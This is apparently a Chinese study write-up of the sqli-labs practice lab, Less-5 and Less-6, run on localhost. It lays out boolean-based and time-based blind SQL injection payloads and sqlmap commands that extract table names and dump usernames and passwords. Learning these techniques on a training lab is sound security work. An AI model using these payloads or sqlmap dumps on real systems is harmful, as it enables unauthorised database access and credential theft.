开始先用常规步骤去试:发现网页没有出现数据库名,即没有出现常规的回显
我们把这个成为…类似的…盲注?(因为盲注不会有回显,但这个有网页的显示,可能只是开始我们学习,帮助我们判断)
这里总结几个判断数据库内容的函数
id=1' and length(database())=8(你所猜测的数据长度) --+
可以看到盲注时只有猜测条件正确是网页会有对应的变化
不符合条件时:
2.猜测当前数据库有多少表
?id=1' and 1=((select count(*) from information_schema.tables where table_schema='数据库名字')=数据表数)
3.猜测某个表里有多少列:
?id=1' and ((select count(*) from information_schema.columns where table_schema=‘数据库名’ and table_name='数据表名')=猜测列数) --+
那么开始盲注爆破,大概看了一下流程感觉手工注入很麻烦.,需要逐字爆破…
布尔型注入,正确网页会回显,错误不回显。
爆破数据库(这里猜测第一个字母):
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left((select database()),1)='s' --+
盲注中left函数的使用: 函数left(a,b) sql的left()函数表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b
的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串. 一般用来猜测库的名字
就这样一点一点试来爆破出库名为security
继续,
爆破表名:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
通过limit x,1和left第二个参数这两个位置来限定爆破的位置
爆破字段名:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username' --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+
爆破字段内容:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
相关函数参考文章:https://blog.csdn.net/qq_41306131/article/details/84799049(SQL盲注中函数的用法)
时间延迟型注入,正确的会有延迟,错误的不会有反应,可以通过浏览器的状态来进行判断(但这样容易受网络状态影响,比如你的网很慢很慢…)
看到某位大佬的文章感觉说的很全,全程借鉴(感谢https://blog.csdn.net/qq_41420747/article/details/81836327):
本方法中payload = ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+
所以首先猜测数据库长度
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1) --+
当输入正确时,可以看到很明显的延迟:
同理爆破表名,得到明显延迟:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(8),1) --+
爆破列名:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and if( left ( (select column_name from information_schema.columns where table_name='users' limit%201,1),8)='username',sleep(8),1) --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left ( (select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',sleep(8),1) --+
爆破具体用户名密码的具体内容:然后就慢慢爆破出来就好了…
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
判断注入点:
http://127.0.0.1/sqli-labs-master/Less-6/?id=1"
发现程序出错,剩下的和五操作一样
这里,我们换一种方法来进行爆破—————当当当当~用鼎鼎大名的sqlmap
首先去网上按教程安装好Python环境和SQLmap
第一步,爆库:可以爆出MySql中所有的库
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbs
可以看到当前数据库为security
第二步:列出所有的表:
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security --tables
-D 指定数据库
–tables 列出数据表
第三步:列出表中字段
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users --columns
-D:指定数据库名称 -T:指定要列出字段的表 --columns:指定列出字段
第四步:爆字段内容
-C:指定要爆出的字段 --dump:将结果导出
python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" -D security -T users -C"username,password" --dump
拓展,可以看一看SQLmap一些别的语句的用法:
1.列出MySQL所以用户的名字:
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --users
`XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --current-user
XXX>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-6/?id=1" --passwords
借鉴文章:
1.https://zhuanlan.zhihu.com/p/35905745(SQL注入之SQLmap)——列举常见命令
2.https://www.jianshu.com/p/17509d0a1ba3(简书:SQLMap基础操作学习)——针对相关sqli-lab平台的